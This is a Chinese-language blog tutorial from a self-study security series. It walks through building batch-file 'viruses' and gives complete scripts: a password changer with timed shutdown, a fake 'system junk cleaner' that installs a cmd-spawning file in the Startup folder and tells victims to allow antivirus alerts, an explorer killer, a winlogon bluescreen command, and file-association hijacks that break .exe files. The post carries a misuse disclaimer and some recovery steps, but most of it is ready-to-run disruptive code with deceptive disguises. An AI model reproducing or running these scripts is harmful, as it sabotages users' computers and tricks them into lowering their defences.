[網路安全自學篇] 四十五.病毒詳解及批處理病毒製作(自啟動、修改密碼、定時關機、藍屏、程式關閉)

Eastmount發表於2020-02-07

這是作者的網路安全自學教程系列,主要是關於安全工具和實踐操作的線上筆記,特分享出來與博友們學習,希望您們喜歡,一起進步。前文分享了Windows遠端桌面服務漏洞(CVE-2019-0708),並詳細講解該漏洞及防禦措施。這篇文章將講解簡單的病毒原理知識,並通過批處理程式碼製作病毒,包括自動啟、修改密碼、定時關機、藍屏、程式關閉等功能。希望這篇基礎文章對您有所幫助,更希望大家提高安全意識,學會相關防範,也歡迎大家討論。

作者作為網路安全的小白,分享一些自學基礎教程給大家,主要是關於安全工具和實踐操作的線上筆記,希望您們喜歡。同時,更希望您能與我一起操作和進步,後續將深入學習網路安全和系統安全知識並分享相關實驗。總之,希望該系列文章對博友有所幫助,寫文不易,大神們不喜勿噴,謝謝!如果文章對您有幫助,將是我創作的最大動力,點贊、評論、私聊均可,一起加油喔~

PS:本文參考了安全網站和參考文獻中的文章(詳見參考文獻),並結合自己的經驗和實踐進行撰寫,也推薦大家閱讀參考文獻。

下載地址:https://github.com/eastmountyxz/NetworkSecuritySelf-study

前文學習:
[網路安全自學篇] 一.入門筆記之看雪Web安全學習及異或解密示例
[網路安全自學篇] 二.Chrome瀏覽器保留密碼功能滲透解析及登入加密入門筆記
[網路安全自學篇] 三.Burp Suite工具安裝配置、Proxy基礎用法及暴庫示例
[網路安全自學篇] 四.實驗吧CTF實戰之WEB滲透和隱寫術解密
[網路安全自學篇] 五.IDA Pro反彙編工具初識及逆向工程解密實戰
[網路安全自學篇] 六.OllyDbg動態分析工具基礎用法及Crakeme逆向
[網路安全自學篇] 七.快手視訊下載之Chrome瀏覽器Network分析及Python爬蟲探討
[網路安全自學篇] 八.Web漏洞及埠掃描之Nmap、ThreatScan和DirBuster工具
[網路安全自學篇] 九.社會工程學之基礎概念、IP獲取、IP物理定位、檔案屬性
[網路安全自學篇] 十.論文之基於機器學習演算法的主機惡意程式碼
[網路安全自學篇] 十一.虛擬機器VMware+Kali安裝入門及Sqlmap基本用法
[網路安全自學篇] 十二.Wireshark安裝入門及抓取網站使用者名稱密碼(一)
[網路安全自學篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及資料流追蹤和影象抓取(二)
[網路安全自學篇] 十四.Python攻防之基礎常識、正規表示式、Web程式設計和套接字通訊(一)
[網路安全自學篇] 十五.Python攻防之多執行緒、C段掃描和資料庫程式設計(二)
[網路安全自學篇] 十六.Python攻防之弱口令、自定義字典生成及網站暴庫防護
[網路安全自學篇] 十七.Python攻防之構建Web目錄掃描器及ip代理池(四)
[網路安全自學篇] 十八.XSS跨站指令碼攻擊原理及程式碼攻防演示(一)
[網路安全自學篇] 十九.Powershell基礎入門及常見用法(一)
[網路安全自學篇] 二十.Powershell基礎入門及常見用法(二)
[網路安全自學篇] 二十一.GeekPwn極客大賽之安全攻防技術總結及ShowTime
[網路安全自學篇] 二十二.Web滲透之網站資訊、域名資訊、埠資訊、敏感資訊及指紋資訊收集
[網路安全自學篇] 二十三.基於機器學習的惡意請求識別及安全領域中的機器學習
[網路安全自學篇] 二十四.基於機器學習的惡意程式碼識別及人工智慧中的惡意程式碼檢測
[網路安全自學篇] 二十五.Web安全學習路線及木馬、病毒和防禦初探
[網路安全自學篇] 二十六.Shodan搜尋引擎詳解及Python命令列呼叫
[網路安全自學篇] 二十七.Sqlmap基礎用法、CTF實戰及請求引數設定(一)
[網路安全自學篇] 二十八.檔案上傳漏洞和Caidao入門及防禦原理(一)
[網路安全自學篇] 二十九.檔案上傳漏洞和IIS6.0解析漏洞及防禦原理(二)
[網路安全自學篇] 三十.檔案上傳漏洞、編輯器漏洞和IIS高版本漏洞及防禦(三)
[網路安全自學篇] 三十一.檔案上傳漏洞之Upload-labs靶場及CTF題目01-10(四)
[網路安全自學篇] 三十二.檔案上傳漏洞之Upload-labs靶場及CTF題目11-20(五)
[網路安全自學篇] 三十三.檔案上傳漏洞之繞狗一句話原理和繞過安全狗(六)
[網路安全自學篇] 三十四.Windows系統漏洞之5次Shift漏洞啟動計算機
[網路安全自學篇] 三十五.惡意程式碼攻擊溯源及惡意樣本分析
[網路安全自學篇] 三十六.WinRAR漏洞復現(CVE-2018-20250)及惡意軟體自啟動劫持
[網路安全自學篇] 三十七.Web滲透提高班之hack the box線上靶場註冊及入門知識
[網路安全自學篇] 三十八.hack the box滲透之BurpSuite和Hydra密碼爆破及Python加密Post請求(二)
[網路安全自學篇] 三十九.hack the box滲透之DirBuster掃描路徑及Sqlmap高階注入用法(三)
[網路安全自學篇] 四十.phpMyAdmin 4.8.1後臺檔案包含漏洞復現及詳解(CVE-2018-12613)
[網路安全自學篇] 四十一.中間人攻擊和ARP欺騙原理詳解及漏洞還原
[網路安全自學篇] 四十二.DNS欺騙和釣魚網站原理詳解及漏洞還原
[網路安全自學篇] 四十三.木馬原理詳解、遠端伺服器IPC$漏洞及木馬植入實驗
[網路安全自學篇] 四十四.Windows遠端桌面服務漏洞(CVE-2019-0708)復現及詳解

前文欣賞:
[滲透&攻防] 一.從資料庫原理學習網路攻防及防止SQL隱碼攻擊
[滲透&攻防] 二.SQL MAP工具從零解讀資料庫及基礎用法
[滲透&攻防] 三.資料庫之差異備份及Caidao利器
[滲透&攻防] 四.詳解MySQL資料庫攻防及Fiddler神器分析資料包

宣告:本人堅決反對利用教學方法進行犯罪的行為,一切犯罪行為必將受到嚴懲,綠色網路需要我們共同維護,更推薦大家瞭解它們背後的原理,更好地進行防護。


一.關機bat指令碼

計算機病毒(Computer Virus)是編制者在計算機程式中插入的破壞計算機功能或者資料的程式碼,能影響計算機使用,能自我複製的一組計算機指令或者程式程式碼。計算機病毒具有傳播性、隱蔽性、感染性、潛伏性、可激發性、表現性或破壞性。

計算機病毒的生命週期:開發期→傳染期→潛伏期→發作期→發現期→消化期→消亡期。 計算機病毒是一個程式,一段可執行碼。就像生物病毒一樣,具有自我繁殖、互相傳染以及啟用再生等生物病毒特徵。計算機病毒有獨特的複製能力,它們能夠快速蔓延,又常常難以根除。它們能把自身附著在各種型別的檔案上,當檔案被複制或從一個使用者傳送到另一個使用者時,它們就隨同檔案一起蔓延開來。


下面講解第一個批處理指令碼,主要是呼叫“shutdown”實現關機。其基本步驟如下:

  • 新建文字文件
  • 輸入 shutdown -s -t 600
  • 把txt改成bat

如下圖所示,執行CMD可以檢視shutdown命令的基本用法。

在這裡插入圖片描述

基本命令為:

 shutdown -s -t 600
//現在讓系統600秒之後關機

shutdown -a
//終止關閉計算機

執行結果如下圖所示:

在這裡插入圖片描述

新建“test.bat”並填寫“ shutdown -s -t 600”,某些系統需要在“資料夾選項”中,顯示“隱藏已知檔案型別的副檔名”。

在這裡插入圖片描述

雙擊BAT檔案即執行關機,如果需要取消,還是在CMD黑框中輸入“shutdown -a”命令。

在這裡插入圖片描述



二.修改密碼和定時關機病毒

接下來分享一個比較完整的病毒製作過程。

第一步,新建game.bat檔案。

在這裡插入圖片描述

程式編寫如下所示,其中“@echo off”表示關閉回顯,“color 0a”表示設定顏色。

@echo off
color 0a
title Eastmount程式

echo ===================================
echo                 選單
echo           1.修改管理員密碼
echo           2.定時關機
echo           3.退出本程式
echo ===================================

pause

執行結果如下圖所示,可以看到標題為“Eastmount程式”,並且包含相關內容,這就是批處理檔案執行過程。

在這裡插入圖片描述


第二步,做一個選擇判斷,該程式需要和使用者進行互動。
核心程式碼為“set /p num=您的選擇是:”,其表示設定變數num,“/p”表示暫停並等待使用者輸入,使用者最終輸入的值賦為num。

@echo off
color 0a
title Eastmount程式

echo ===================================
echo                 選單
echo           1.修改管理員密碼
echo           2.定時關機
echo           3.退出本程式
echo ===================================

set /p num=您的選擇是:

pause

輸出結果如下圖所示:
在這裡插入圖片描述


第三步,補充修改管理員密碼、定時關機、退出等命令。
修改管理員密碼的命令是微軟所有系統的通用命令,下述程式碼是修改當前管理員密碼為“123456”。

net user administrator 123456

在這裡插入圖片描述

第二個選項是關機,命令如下:

shutdown -s -t 100

第三個選項是退出本程式。

exit

接著編寫判斷和跳轉批處理程式碼,程式碼如下所示,“>nul”表示不輸出執行提示資訊。

@echo off
color 0a
title Eastmount程式

:menu
echo ===================================
echo                 選單
echo           1.修改管理員密碼
echo           2.定時關機
echo           3.退出本程式
echo ===================================

set /p num=您的選擇是:
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3

:1
net user administrator 123456 > nul
echo 您的密碼已經設定成功!
pause
goto menu

:2
shutdown -s -t 100
goto menu

:3
exit

此時輸入“1”會提示系統錯誤,如下圖所示:

在這裡插入圖片描述

同時,防毒軟體也會提示黑客修改電腦,點選“允許操作”即可,

在這裡插入圖片描述

接著增加“cls”命令清屏。同時,為了避免輸入數字“4”會從頭執行到尾,補充一個提示資訊。程式碼修改如下:

@echo off
color 0a
title Eastmount程式

:menu
cls
echo ===================================
echo                 選單
echo           1.修改管理員密碼
echo           2.定時關機
echo           3.退出本程式
echo ===================================

set /p num=您的選擇是:
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3

echo 您好!請輸入1-3正確的數字
pause
goto menu

:1
net user administrator 123456 >nul
echo 您的密碼已經設定成功!
pause
goto menu

:2
shutdown -s -t 100
goto menu

:3
exit

此時執行如下圖所示:

在這裡插入圖片描述

繼續修改程式碼,補充設定的使用者名稱和新密碼,關機時間等。

@echo off
color 0a
title Eastmount程式

:menu
cls
echo ===================================
echo                 選單
echo           1.修改管理員密碼
echo           2.定時關機
echo           3.退出本程式
echo ===================================

set /p num=您的選擇是:
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3

echo 您好!請輸入1-3正確的數字
pause
goto menu

:1
set /p u=請輸入使用者名稱:
set /p p=請輸入新密碼:
net user %u% %p% >nul
echo 您的密碼已經設定成功!
pause
goto menu

:2
set /p time=請輸入時間:
shutdown -s -t %time%
goto menu

:3
exit

以“管理員身份執行”後,成功修改“xiuzhang”使用者的開機密碼。

在這裡插入圖片描述

輸入2可以設定關機時間,這裡就不再贅述,第一部分已經詳細講解。



三.自啟動當機病毒

接著編寫一個偽裝成“系統垃圾清理”的程式碼,它其實是一個導致系統當機的程式碼,也不能算是“病毒”,更多是一個惡作劇程式。其原理是不斷開啟CMD程式,佔用系統資源從而導致當機,並且每次開機都會自動啟。

PS:這裡強調一句,建議大家在虛擬機器中執行該程式碼。我們作為安全工程師,希望您們去了解漏洞背後的原理,更好地進行防禦,綠色網路需要我們共同維護,杜絕一切違法行為。

第一步,在C:\windows目錄下建立檔案“windows.bat”。一個“>”表示覆蓋檔案內容,兩個“>>”表示追加一句話至檔案末尾。

echo start cmd >c:\windows\windows.bat
echo %0>>c:\windows\windows.bat

使用者開啟這個程式之後,程式就會不斷開啟cmd,佔用系統資源,導致系統癱瘓,%0是再次執行該程式的意思。但是,這樣只能讓使用者當機一次,重啟系統以後,不再開啟這個檔案以後,就不再會中招了。


第二步,將這個惡意指令碼放到開機選單中,每次開機都自動啟動執行並導致電腦當機。
errorlevel為預定義變數,隨著系統變化而變化。如果為0表示上一條命令執行成功,如果非0表示上一條命令執行失敗,它不是Win7系統,而執行下面這條命令(XP系統、2003系統)。

在這裡插入圖片描述

程式碼“echo.”表示空行,比如程式碼:

在這裡插入圖片描述

輸出結果如下圖所示:

在這裡插入圖片描述


第三步,接著編寫next區域程式碼,完整程式碼如下所示。

@echo off
title 系統垃圾清理
color 2f
echo 	=====若有防毒軟體惡意攔截,請選擇【允許程式的所有操作】====
echo.
echo.

echo start cmd >c:\windows\windows.bat
::echo %%0>>c:\windows\windows.bat

copy c:\windows\windows.bat "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\">nul
if %errorlevel%==0 goto next

copy c:\windows\windows.bat "%USERPROFILE%\「開始」選單\程式\啟動\">nul
if %errorlevel%==1 goto error

:next
echo.
echo.
echo 	=====垃圾清理中,請不要關閉視窗=========
echo.
ping -n 5 127.0.0.1>nul
echo.
echo 	=====垃圾清理完畢,共清理垃圾500M=======
echo.
echo.
echo 	=====建議立即重啟電腦==========
pause

:error
echo.
echo.
echo 	======程式執行失敗,請【使用管理員許可權】重新執行!========
echo.
pause

注意,我註釋了重複操作程式碼“::echo %%0>>c:\windows\windows.bat”,否則開機自啟動很麻煩。接著執行程式碼,如下圖所示,需要右鍵“以管理員身份執行”。

在這裡插入圖片描述

程式碼會在C:\windwos目錄下建立批處理檔案“windows.bat”。

在這裡插入圖片描述

同時,在我的Win10系統開機自動動目錄下也有該檔案。
目錄:…\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

在這裡插入圖片描述

開啟該檔案可以看到寫入的“start cmd”程式碼,表示開啟CMD。

在這裡插入圖片描述

雙擊該“windows.bat”檔案,執行結果如下圖所示。

在這裡插入圖片描述

總結: 本文編寫了一個系統清理工具,其實是把這個windows.bat寫到使用者的開機自啟動目錄下,達到使用者每次開機,都會執行該程式的目的,重複呼叫CMD佔用資源。如果中了該病毒,使用者可以使用PE到開啟啟動目錄把windows.bat檔案刪除,或者重灌系統,再次建議大家別讓它重複執行。



四.程式關閉病毒

再看一個偽裝垃圾清理的批處理程式碼。該命令是殺死程式,“/im explorer.exe”表示要殺死的程式名稱,關閉桌面;“/f”表示強制殺死;“>nul”表示在螢幕上不要輸出任何資訊。

taskkill /im explorer.exe /f >nul 2>nul

完整程式碼如下所示,其中“Start c:\windows\expolrer.exe”表示繼續開啟桌面,“ping -n 5 127.0.0.1>nul”用於消耗時間。

@echo off
title 系統垃圾清理
color 2f
echo 	=====若有防毒軟體惡意攔截,請選擇【允許程式的所有操作】====
echo.
echo.
echo.
echo 	=====垃圾清理中,請不要關閉視窗=========
echo.
ping -n 5 127.0.0.1>nul
taskkill /im explorer.exe /f >nul 2>nul
echo.
echo 	=====拐了,你的系統已經廢了=======
echo.
ping -n 5 127.0.0.1>nul
echo.
Start c:\windows\explorer.exe
echo.
echo 	=====已經修復好!是不是嚇壞了!!O(∩_∩)O==========
pause

執行該批處理程式,桌面會消失,如下圖所示。

在這裡插入圖片描述

過一會桌面又會恢復。由於作者桌面東西太亂,這裡僅顯示桌布展示。

在這裡插入圖片描述



五.最簡單的藍屏炸彈檔案

  • 新建文字文件
  • 輸入:ntsd -c q -pn winlogon.exe,表示強制殺死程式
  • 工具->資料夾選項->檢視->“隱藏已知檔案型別的副檔名”勾選
  • txt修改為bat
  • 開始->程式->啟動,開啟game.bat檔案

黑客很少攻擊個人,一般攻擊伺服器,該命令對2003的伺服器特別有殺傷力

在這裡插入圖片描述

雙擊之後,伺服器直接藍屏顯示並重啟。

在這裡插入圖片描述

ntsd從Windows 2000開始就是系統自帶的程式除錯工具,在system32目錄下。ntsd的功能非常的強大,用法也比較複雜,但如果只用來結束一些程式,那就比較簡單了。在Windows中只有System、SMSS.EXE和CSRSS.EXE不能殺。前兩個是純核心態的,最後那個是Win32子系統,ntsd本身需要它。lsass.exe也不要殺掉,它是負責本地賬戶安全的。被偵錯程式附著的程式會隨偵錯程式一起退出,所以可以用來在命令列下終止程式。

開啟cmd 後輸入以下命令就可以結束程式:

  • 方法一:利用程式的PID結束程式
    命令格式:ntsd -c q -p pid
    命令範例: ntsd -c q -p 1332 (結束explorer.exe程式)

範例詳解:explorer.exe的pid為1332,但是如何獲取程式的pid呢?在CMD下輸入TASKLIST就可以獲取當前工作管理員所有程式的PID。或者開啟工作管理員,在選單欄,選擇“檢視”->“選擇列”,在開啟的選擇項視窗中將“PID(程式識別符號)”項選擇鉤上,這樣工作管理員的程式中就會多出PID一項了。PID的分配並不固定,是在程式啟動是由系統隨機分配的,所以程式每次啟動的程式一般都不會一樣。

  • 方法二:利用程式名結束程式
    命令格式:ntsd -c q -pn xxxx.exe (xxxx.exe 為程式名,exe不能省)
    命令範例:ntsd -c q -pn explorer.exe

另外的能結束程式的DOS命令還有taskkill和tskill命令。


六.最簡單的副檔名病毒

將檔案格式修改或文件加密都是常見的病毒,比如永恆之藍、勒索病毒等,它們就是將電腦內的所有資料、文件加密,當你要開啟檔案時,需要密碼,此時通過比特幣付費進行勒索。

下面這個小操作是將exe檔案修改為txt文件。當遇到可執行的exe檔案,會認為它是一個txt文件,用記事本開啟,導致可執行程式執行不起來,這是就是這個病毒的原理。

  • 新建文字文件
  • 增加程式碼:assoc.exe=txtfile
  • 工具->資料夾選項->檢視->“隱藏已知檔案型別的副檔名”勾選
  • txt修改為bat
  • 開始->程式->啟動,開啟bat檔案

雙擊執行bat檔案之後,我們的可執行檔案就變成了txt檔案。此時系統認為exe就是txt程式,把系統的關聯搞混亂了,它恢復起來很麻煩。

在這裡插入圖片描述

EXE程式開啟如下圖所示。

在這裡插入圖片描述

甚至開啟CMD都是TXT文字檔案。

在這裡插入圖片描述

接著需要執行下面的命令還原exe檔案。

  • assoc.exe=exefile

還原的程式碼及效果如下圖所示。

在這裡插入圖片描述

在這裡插入圖片描述

其他所有檔案格式都轉換為txt檔案,如下所示。此時,如果隱藏副檔名,甚至可以修改圖示偽裝成目標應用,當使用者點選時會執行這些破壞;但由於不知道目標是否有隱藏副檔名,還是不建議這種“笨”方法。

assoc .htm=txtfile
assoc .dat=txtfile
assoc .com=txtfile
assoc .rar=txtfile
assoc .gho=txtfile
assoc .mvb=txtfile
...

解決方法:
如果您不幸中了該病毒,怎麼解決呢?如下圖所示,還原所有正確關聯即可。

在這裡插入圖片描述


PS:還有一些病毒,比如VBS指令碼、網頁彈窗(網站釣魚)等,這裡不再講解,推薦讀者閱讀前文“[網路安全自學篇] 二十五.Web安全學習路線及木馬、病毒和防禦初探”。如果把病毒程式放到啟動項,每次開機都會自動執行。

在這裡插入圖片描述

在這裡插入圖片描述



七.總結

寫到這裡,這篇文章就介紹結束了,希望對您有所幫助。這裡也推薦大家閱讀參考文獻的文章和視訊。這篇文章也存在一些不足,作者沒有深入理解其原理,也是作為網路安全初學者的慢慢成長路吧!希望未來能更透徹撰寫相關文章。

希望這系列文章對您有所幫助,真的感覺自己技術好菜,要學的知識好多。這是第44篇原創的安全系列文章,從網路安全到系統安全,從木馬病毒到後門劫持,從惡意程式碼到溯源分析,從滲透工具到二進位制工具,還有Python安全、頂會論文、黑客比賽和漏洞分享。未知攻焉知防,人生漫漫其路遠兮,作為初學者,自己真是爬著前行,感謝很多人的幫助,繼續爬著,繼續加油!

歡迎大家討論,是否覺得這系列文章幫助到您!任何建議都可以評論告知讀者,共勉。


俠之為大,為國為民。向一線醫護人員、軍人、工人、科學家和所有工作者致敬。我們們中國人一生的最高追求,為天地立心,為生民立命,為往聖繼絕學,為萬世開太平,他們真的做到了。生活哪有什麼歲月靜好,只不過這些人替我們負重前行。希望每一個人都健康平安,戴口罩不出門,勤洗手多吃飯。武漢加油,湖北加油,中國加油。眾志成城,加油必勝!!!

在這裡插入圖片描述

最後希望大家幫我CSDN部落格之星投投票,每天可以投5票喔,謝謝大家!八年,在CSDN分享了410篇文章,65個專欄,400多萬人次瀏覽,包括Python人工智慧、資料探勘、網路爬蟲、圖象處理、網路安全、JAVA網站、Android開發、LAMP/WAMP、C#網路程式設計、C++遊戲、演算法和資料結構、面試總結、人生感悟等。當然還有我和你的故事,感恩一路有你,感謝一路同行,希望通過程式設計分享幫助到更多人,也希望學成之後教更多學生。因為喜歡,所以分享,且看且珍惜,加油!我的學生們,等我學成歸來~

投票地址:http://m234140.nofollow.ax.mvote.cn/opage/ed8141a0-ed19-774b-6b0d-39c3aaf89dde.html?from=singlemessage

(By:Eastmount 2020-02-03 下午6點寫於貴陽 http://blog.csdn.net/eastmount/ )


參考文獻:
[1] 2019 黑客入門基礎Windows網路安全精講 - B站feige老師
[2] https://github.com/eastmountyxz/NetworkSecuritySelf-study
[3] [網路安全自學篇] 二十五.Web安全學習路線及木馬、病毒和防禦初探
[4] https://www.bilibili.com/video/av60018118 (B站白帽黑客教程)
[5] https://www.bilibili.com/video/av63038037 (B站HACK學習)
[6] https://www.bilibili.com/video/av68215785 (2019 網路安全/黑客基礎課程新手入門必看)

相關文章